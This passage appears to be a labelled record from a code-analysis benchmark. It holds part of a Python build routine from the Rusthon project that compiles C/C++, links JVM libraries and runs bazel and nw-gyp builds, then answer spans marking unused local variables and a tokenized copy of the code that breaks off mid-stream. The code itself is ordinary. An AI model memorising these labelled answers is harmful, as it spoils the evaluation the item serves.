dynamic_path,\n\t\t\t\t\tobject_path\n\t\t\t\t]\n\t\t\t\tsubprocess.check_call(cmd)\n\t\t\t\tcpak['dynamiclib'] = dynamic_path\n\t\t\t\tcpak['name'] = 'lib%s.so' %libname\n\n\t\t\telse:\n\n\t\t\t\tif cbuild:\n\t\t\t\t\t#gcc: fatal error: cannot specify -o with -c, -S or -E with multiple files\n\t\t\t\t\t#cmd.extend(cbuild) ## extra c files `/some/path/*.c`\n\t\t\t\t\traise RuntimeError('TODO fix building multiple .c files at once using gcc option -o')\n\n\t\t\t\tcmd.extend(['-o', object_path ])\n\n\t\t\t\tprint('========== compiling C static library =========')\n\t\t\t\tprint(' '.join(cmd))\n\t\t\t\tsubprocess.check_call( cmd )\n\t\t\t\tprint('========== ar : staticlib ==========')\n\t\t\t\tcmd = ['ar', 'rcs', static_path, object_path]\n\t\t\t\tsubprocess.check_call( cmd )\n\t\t\t\tcpak['staticlib'] = libname+'.a'\n\t\t\t\tcpak['name'] = libname+'.a'\n\n\n\tif modules['c++']:\n\t\tlinks = []\n\t\tidirs = []\n\t\tsource = []\n\t\tdefines = []\n\t\tmods_sorted_by_index = sorted(modules['c++'], key=lambda mod: mod.get('index'))\n\t\tmainmod = None\n\t\tbuilddir = tempfile.gettempdir()\n\t\t#compile_mode = 'binary'\n\t\tfor mod in mods_sorted_by_index:\n\t\t\tif 'tag' in mod and mod['tag'] and ( mod['tag'].endswith('.hpp') or mod['tag'].endswith('.hpp') ):\n\t\t\t\t## allows plain header files to be included in build directory ##\n\t\t\t\topen(\n\t\t\t\t\tos.path.join(builddir, mod['tag']), 'wb'\n\t\t\t\t).write( mod['code'] )\n\t\t\t\toutput['c++'].append( mod )\n\t\t\telse:\n\t\t\t\tsource.append( mod['code'] )\n\n\t\t\tif 'name' in mod and mod['name']=='main':\n\t\t\t\tmainmod = mod\n\t\t\telif mainmod is None:\n\t\t\t\tmainmod = mod\n\t\t\tif 'links' in mod:\n\t\t\t\tlinks.extend(mod['links'])\n\t\t\tif 'include-dirs' in mod:\n\t\t\t\tidirs.extend(mod['include-dirs'])\n\t\t\tif 'defines' in mod:\n\t\t\t\tdefines.extend(mod['defines'])\n\n\t\t\t#if 'compile-mode' in mod:\n\t\t\t#\tcompile_mode = mod['compile-mode']\n\n\t\t\tif 'tag' in mod and mod['tag'] and '.' not in mod['tag']:\n\t\t\t\texename = mod['tag']\n\n\t\ttmpfile = builddir + '/rusthon-c++-build.cpp'\n\t\tdata = '\\n'.join(source)\n\t\topen(tmpfile, 'wb').write( data )\n\t\tcmd = ['g++']\n\n\t\tif compile_mode=='binary':\n\t\t\tcmd.extend(['-O3', '-fprofile-generate', '-march=native', '-mtune=native', '-I'+tempfile.gettempdir()])\n\n\t\tcmd.append('-Wl,-rpath,/usr/local/lib/') ## extra user installed dynamic libs\n\t\tcmd.append('-Wl,-rpath,./') ## can not load dynamic libs from same directory without this\n\t\tcmd.append(tmpfile)\n\n\t\tif '/' in exename and not os.path.isdir( os.path.join(builddir,os.path.split(exename)[0]) ):\n\t\t\tos.makedirs(os.path.join(builddir,os.path.split(exename)[0]))\n\n\t\tif compile_mode == 'binary':\n\t\t\tcmd.extend(['-o', os.path.join(builddir,exename)])\n\t\telif compile_mode == 'dynamiclib':\n\t\t\tcmd.extend(\n\t\t\t\t['-shared', '-fPIC']\n\t\t\t)\n\t\t\texename += '.so'\n\t\t\tcmd.extend(['-o', os.path.join(builddir,exename)])\n\n\t\tcmd.extend(\n\t\t\t['-pthread', '-std=c++11' ]\n\t\t)\n\n\t\tfor D in defines:\n\t\t\tcmd.append('-D%s' %D)\n\n\t\tif nuitka:\n\t\t\t## note: linking happens after the object-bin above is created `-o ruston-c++-bin`,\n\t\t\t## fixes the error: undefined reference to `_PyThreadState_Current', etc.\n\t\t\t#if not nuitka_include_path:\n\t\t\t#\tnuitka_include_path = '/usr/local/lib/python2.7/dist-packages/nuitka/build/include'\n\t\t\t#cmd.append('-I'+nuitka_include_path)\n\t\t\tcmd.append('-I/usr/include/python2.7')\n\t\t\tcmd.append('-lpython2.7')\n\n\t\tif idirs:\n\t\t\tfor idir in idirs:\n\t\t\t\tcmd.append('-I'+idir)\n\n\t\tif links:\n\t\t\tfor lib in links:\n\t\t\t\tcmd.append('-l'+lib)\n\n\t\t## always link to libdl, external libraries may require dl_open, etc.\n\t\tcmd.append('-ldl')\n\n\n\t\tif link or giws:\n\n\t\t\tif giws: ## link to the JVM if giws bindings were compiled ##\n\t\t\t\tcmd.append('-ljvm')\n\n\t\t\t\tos.environ['LD_LIBRARY_PATH']=''\n\t\t\t\t#for jrepath in 'include include/linux jre/lib/i386 jre/lib/i386/client/'.split():\n\t\t\t\tfor jrepath in 'include include/linux'.split():\n\t\t\t\t\tcmd.append('-I%s/%s' %(os.environ['JAVA_HOME'], jrepath))\n\t\t\t\tfor jrepath in 'jre/lib/amd64 jre/lib/amd64/server/'.split():\n\t\t\t\t\tcmd.append('-L%s/%s' %(os.environ['JAVA_HOME'], jrepath))\n\t\t\t\t\tos.environ['LD_LIBRARY_PATH'] += ':%s/%s'%(os.environ['JAVA_HOME'], jrepath)\n\t\t\t\t#raise RuntimeError(os.environ['LD_LIBRARY_PATH'])\n\n\t\t\t#else: ## TODO fix jvm with static c libs\n\t\t\t#\tcmd.append('-static')\n\n\t\t\tif link: ## c staticlibs or giws c++ wrappers ##\n\t\t\t\tcmd.append('-L' + tempfile.gettempdir() + '/.')\n\t\t\t\tfor libname in link:\n\t\t\t\t\tcmd.append('-l'+libname)\n\n\t\tprint('========== g++ : compile main ==========')\n\t\tprint(' '.join(cmd))\n\t\tsubprocess.check_call( cmd )\n\t\tmainmod['build'] = {\n\t\t\t'source':data, \n\t\t\t'binary':tempfile.gettempdir() + '/' + exename, \n\t\t\t'name':exename\n\t\t}\n\t\tif compile_mode == 'binary':\n\t\t\toutput['c++'].append( mainmod['build'] )\n\t\t\toutput['executeables'].append(tempfile.gettempdir() + '/' + exename)\n\t\telse:\n\t\t\toutput['datafiles'][ exename ] = open(tempfile.gettempdir() + '/' + exename, 'rb').read()\n\n\tif python_main['script']:\n\t\tpython_main['script'] = '\\n'.join(python_main['script'])\n\t\toutput['python'].append( python_main )\n\n\tif modules['bazel']:\n\t\t# http://bazel.io/docs/build-ref.html#workspaces\n\t\t## a WORKSPACE file is required, even if empty.\n\t\ttmpdir = tempfile.gettempdir()\n\t\topen(tmpdir+'/WORKSPACE', 'wb')\n\n\t\tfor filename in output['datafiles'].keys():\n\t\t\topen(tmpdir+'/'+filename, 'wb').write(output['datafiles'][filename])\n\n\t\tbazelbuilds = []\n\t\tmods_sorted_by_index = sorted(modules['bazel'], key=lambda mod: mod.get('index'))\n\t\tfor mod in mods_sorted_by_index:\n\t\t\tbazelconfig = mod['code']\n\t\t\topen(tmpdir+'/BUILD', 'wb').write(bazelconfig)\n\t\t\tfor chk in bazelconfig.split(','):\n\t\t\t\tchk = chk.strip()\n\t\t\t\twords = chk.split()\n\t\t\t\tif chk.endswith('\"') and 'name' in words and '=' in words:\n\t\t\t\t\tchk = chk.split()\n\t\t\t\t\tbazelbuilds.append(chk[-1][1:-1])\n\n\n\t\tassert len(bazelbuilds)==1\n\t\tbuildname = bazelbuilds[0]\n\t\t#subprocess.check_call(['bazel', 'build', ':'+buildname], cwd=tmpdir)\n\t\tsubprocess.check_call(['bazel', 'run', ':'+buildname], cwd=tmpdir)\n\n\tif gyp_builds:\n\t\ttmpdir = tempfile.gettempdir()\n\t\tfor gname in gyp_builds.keys():\n\t\t\tgbuild = gyp_builds[gname]\n\t\t\tif gbuild['src']:\n\t\t\t\topen(tmpdir+'/binding.gyp', 'wb').write(gbuild['gyp'])\n\t\t\t\topen(tmpdir+'/'+gname, 'wb').write( gbuild['src'] )\n\t\t\t\tsubprocess.check_call(['nw-gyp', 'configure', '--target=0.12.3'], cwd=tmpdir)\n\t\t\t\tsubprocess.check_call(['nw-gyp', 'build'], cwd=tmpdir)\n\n\t\t\t\tnode_module = open(tmpdir+'/build/Release/binding.node', 'rb').read()\n\t\t\t\toutput['datafiles']['binding.node'] = node_module\n\n\n\treturn output", "metadata": "root.build", "header": "['module', '___EOS___']", "index": 517 } ]
[ { "span": "ext ", "start_line": 433, "start_column": 6, "end_line": 433, "end_column": 9 }, { "span": "libdl ", "start_line": 639, "start_column": 2, "end_line": 639, "end_column": 7 }, { "span": "niminclude ", "start_line": 643, "start_column": 2, "end_line": 643, "end_column": 12 }, { "span": "nuitka_include_path ", "start_line": 886, "start_column": 1, "end_line": 886, "end_column": 20 }, { "span": "nuitka_funcs ", "start_line": 921, "start_column": 2, "end_line": 921, "end_column": 14 }, { "span": "java2rusthon ", "start_line": 924, "start_column": 3, "end_line": 924, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "import", "\\u", "md_", "(_", "url_", ",_", "modules_", "=_", "None_", ",_", "index", "\\u", "offset_", "=_", "0_", ",_", "force", "\\u", "tagname_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "assert_", "modules_", "is_", "not_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "doc_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "code_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "code", "\\u", "links_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "code", "\\u", "idi", "rs_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "code", "\\u", "defines_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lang_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "in", "\\u", "code_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "index_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prev", "line_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tag_", "=_", "force", "\\u", "tagname_", "or_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fence", "s_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "base", "\\u", "path_", ",_", "mark", "down", "\\u", "name_", "=_", "os_", "._", "path_", "._", "split_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "data", " ", "=", " ", "open", "(", "url", ",", " ", "'", "rb", "')", ".", "read", "()", ".", "decode", "('", "utf", "-", "8", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "codecs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "codecs_", "._", "open_", "(_", "url_", ",_", "'", "r", "'_", ",_", "'", "utf", "-", "8", "'_", ")_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "line_", "in_", "data_", "._", "splitlines_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "if_", "line_", "._", "startswith_", "(_", "'*", " ", "@", "link", ":'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "code", "\\u", "links_", "._", "append_", "(_", "os_", "._", "path_", "._", "expanduser_", "(_", "line_", "._", "split_", "(_", "':'_", ")_", "[_", "-_", "1_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "line_", "._", "startswith_", "(_", "'*", " ", "@", "include", ":'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "code", "\\u", "idi", "rs_", "._", "append_", "(_", "os_", "._", "path_", "._", "expanduser_", "(_", "line_", "._", "split_", "(_", "':'_", ")_", "[_", "-_", "1_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "line_", "._", "startswith_", "(_", "'*", " ", "@", "defin", "e", ":'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "code", "\\u", "defines_", "._", "extend_", "(_", "line_", "._", "split_", "(_", "':'_", ")_", "[_", "-_", "1_", "]_", "._", "strip_", "(_", ")_", "._", "split_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Start", " ", "or", " ", "end", " ", "of", " ", "a", " ", "code", " ", "block", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "line_", "._", "strip_", "(_", ")_", "._", "startswith_", "(_", "'``", "`'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "fence", "s_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "End", " ", "of", " ", "a", " ", "code", " ", "block", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "in", "\\u", "code_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "if_", "lang_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "if_", "lang_", "==_", "'", "python", "'_", "and_", "'", "from", " ", "rust", "hon", " ", "import", " ", "*'_", "in_", "code_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "rust", "hon", "py_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "rl", "n_", "in_", "open_", "(_", "\\u\\u", "file\\u\\u_", ",_", "'", "rb", "'_", ")_", "._", "read_", "(_", ")_", "._", "splitlines_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t\t_", "if_", "rl", "n_", "==_", "'", "if", " ", "\\u\\u", "name", "\\u\\u", " ", "==", " ", "\"\\u\\u", "main", "\\u\\u\"", ":'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t\t\t_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t\t\t_", "rust", "hon", "py_", "._", "append_", "(_", "rl", "n_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "rust", "hon", "py_", "=_", "'\\\\", "n", "'_", "._", "join_", "(_", "rust", "hon", "py_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "utf", "header_", "=_", "u", "'#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "code_", "._", "insert_", "(_", "0_", ",_", "utf", "header_", "+_", "BOOT", "STRA", "PED", "_", "+_", "'\\\\", "n", "'_", "+_", "rust", "hon", "py_", "._", "decode_", "(_", "'", "utf", "-", "8", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "code_", "._", "pop_", "(_", "code_", "._", "index_", "(_", "'", "from", " ", "rust", "hon", " ", "import", " ", "*'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "p_", ",_", "n_", "=_", "os_", "._", "path_", "._", "split_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mod_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "path", "'_", ":_", "p_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "mark", "down", "'_", ":_", "url_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "code", "'_", ":_", "'\\\\", "n", "'_", "._", "join_", "(_", "code_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "index", "'_", ":_", "index_", "+_", "index", "\\u", "offset_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "tag", "'_", ":_", "tag_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "s", "'_", ":_", "code", "\\u", "links_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "include", "-", "dirs", "'_", ":_", "code", "\\u", "idi", "rs_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "defin", "es", "'_", ":_", "code", "\\u", "defines_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "tag_", "and_", "'.'_", "in_", "tag_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "ext_", "=_", "tag_", "._", "split_", "(_", "'.'_", ")_", "[_", "-_", "1_", "]_", "._", "lower_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "if", " ", "ext", " ", "in", " ", "'", "xml", " ", "html", " ", "js", " ", "css", " ", "py", " ", "c", " ", "cs", " ", "h", " ", "cpp", " ", "hp", "p", " ", "rust", " ", "go", " ", "java", " ", "json", "'.", "split", "():", "_", "\\u\\u\\uNL\\u\\u\\u_", "mod_", "[_", "'", "name", "'_", "]_", "=_", "tag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "modules_", "[_", "lang_", "]_", "._", "append_", "(_", "mod_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "in", "\\u", "code_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "code_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "code", "\\u", "links_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "code", "\\u", "idi", "rs_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "index_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Start", " ", "of", " ", "a", " ", "code", " ", "block", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "in", "\\u", "code_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "prev", "line_", "and_", "prev", "line_", "._", "strip_", "(_", ")_", "._", "startswith_", "(_", "'@'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "tag_", "=_", "prev", "line_", "._", "strip_", "(_", ")_", "[_", "1_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "tag_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "lang_", "=_", "line_", "._", "strip_", "(_", ")_", "._", "split_", "(_", "'``", "`'_", ")_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "The", " ", "middle", " ", "of", " ", "a", " ", "code", " ", "block", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "in", "\\u", "code_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "code_", "._", "append_", "(_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", " ", "import", " ", "subma", "rk", "down", " ", "file", " ", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "if_", "line_", "._", "startswith_", "(_", "'*", " ", "'_", ")_", "and_", "'@", "import", "'_", "in_", "line_", "and_", "line_", "._", "count_", "(_", "'['_", ")_", "==_", "1_", "and_", "line_", "._", "count_", "(_", "']'_", ")_", "==_", "1_", "and_", "line_", "._", "count_", "(_", "'('_", ")_", "==_", "1_", "and_", "line_", "._", "count_", "(_", "')'_", ")_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "subma", "rk", "down_", "=_", "line_", "._", "split_", "(_", "'('_", ")_", "[_", "-_", "1_", "]_", "._", "split_", "(_", "')'_", ")_", "[_", "0_", "]_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subpath_", "=_", "os_", "._", "path_", "._", "join_", "(_", "base", "\\u", "path_", ",_", "subma", "rk", "down_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "isfile_", "(_", "subpath_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "raise_", "Run", "time", "Error_", "(_", "'", "error", ":", " ", "can", " ", "not", " ", "find", " ", "mark", "down", " ", "file", ":", " ", "'_", "+_", "subpath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "print", " ", "'", "import", "ing", " ", "subma", "rk", "down", "'_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", " ", "subpath_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "index_", "+=_", "import", "\\u", "md_", "(_", "subpath_", ",_", "modules_", ",_", "index", "\\u", "offset_", "=_", "index_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "doc_", "._", "append_", "(_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "prev", "line_", "=_", "line_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "modules_", "[_", "'", "mark", "down", "'_", "]_", "+=_", "'\\\\", "n", "'_", "._", "join_", "(_", "doc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "fence", "s_", "%_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "raise_", "Syntax", "Error_", "(_", "'", "invalid", " ", "mark", "down", " ", "-", " ", "uncl", "ose", "d", " ", "trip", "ple", " ", "back", " ", "quote", " ", "fence", " ", "in", ":", " ", "%", "s", "'_", "%_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "index_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "build_", "(_", "modules_", ",_", "module", "\\u", "path_", ",_", "datadir", "s_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "if_", "'--", "debug", "-", "build", "'_", "in_", "sys_", "._", "argv_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "raise_", "Run", "time", "Error_", "(_", "modules_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "output_", "=_", "{_", "'", "execute", "able", "s", "'_", ":_", "[_", "]_", ",_", "'", "rust", "'_", ":_", "[_", "]_", ",_", "'", "c", "'_", ":_", "[_", "]_", ",_", "'", "c", "++'_", ":_", "[_", "]_", ",_", "'", "c", "#'_", ":_", "[_", "]_", ",_", "'", "go", "'_", ":_", "[_", "]_", ",_", "'", "javascript", "'_", ":_", "[_", "]_", ",_", "'", "java", "'_", ":_", "[_", "]_", ",_", "'", "xml", "'_", ":_", "[_", "]_", ",_", "'", "json", "'_", ":_", "[_", "]_", ",_", "'", "python", "'_", ":_", "[_", "]_", ",_", "'", "html", "'_", ":_", "[_", "]_", ",_", "'", "veri", "log", "'_", ":_", "[_", "]_", ",_", "'", "nim", "'_", ":_", "[_", "]_", ",_", "'", "lua", "'_", ":_", "[_", "]_", ",_", "'", "dart", "'_", ":_", "[_", "]_", ",_", "'", "datadir", "s", "'_", ":_", "datadir", "s_", ",_", "'", "datafile", "s", "'_", ":_", "{_", "}_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "python", "\\u", "main_", "=_", "{_", "'", "name", "'_", ":_", "'", "main", ".", "py", "'_", ",_", "'", "script", "'_", ":_", "[_", "]_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "go", "\\u", "main_", "=_", "{_", "'", "name", "'_", ":_", "'", "main", ".", "go", "'_", ",_", "'", "source", "'_", ":_", "[_", "]_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tagged_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "link_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gi", "ws_", "=_", "[_", "]_", "##", " ", "xml", " ", "jn", "i", " ", "generat", "or", " ", "so", " ", "c", "++", " ", "can", " ", "call", " ", "int", "o", " ", "java", ",", " ", "blocks", " ", "tagg", "ed", " ", "with", " ", "@", "gw", "is", " ", "are", " ", "compile", "d", " ", "and", " ", "linked", " ", "with", " ", "the", " ", "final", " ", "exe", "._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "java", "2r", "ust", "hon", "_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nim", "\\u", "wrappers_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lib", "dl_", "=_", "False_", "##", " ", "provide", "s", ":", " ", "dlo", "pen", ",", " ", "dl", "close", ",", " ", "for", " ", "dynami", "c", " ", "libs", ".", " ", "Ni", "m", " ", "need", "s", " ", "this_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cache", "d\\u", "json_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gyp", "\\u", "builds_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "modules_", "[_", "'", "bash", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "for_", "mod_", "in_", "modules_", "[_", "'", "bash", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "if_", "'", "tag", "'_", "in_", "mod_", "and_", "mod_", "[_", "'", "tag", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "tag_", "=_", "mod_", "[_", "'", "tag", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "tag_", "._", "startswith_", "(_", "'", "http", "://'_", ")_", "or_", "tag_", "._", "startswith_", "(_", "'", "https", "://'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "if_", "not_", "tag_", "._", "endswith_", "(_", "'.", "git", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "raise_", "Syntax", "Error_", "(_", "'", "only", " ", "git", " ", "repos", " ", "link", "s", " ", "are", " ", "allow", "ed", ":", " ", "'_", "+_", "tag_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "isdir_", "(_", "GIT", "CACHE_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "print_", "'", "mak", "ing", " ", "new", " ", "rust", "hon", " 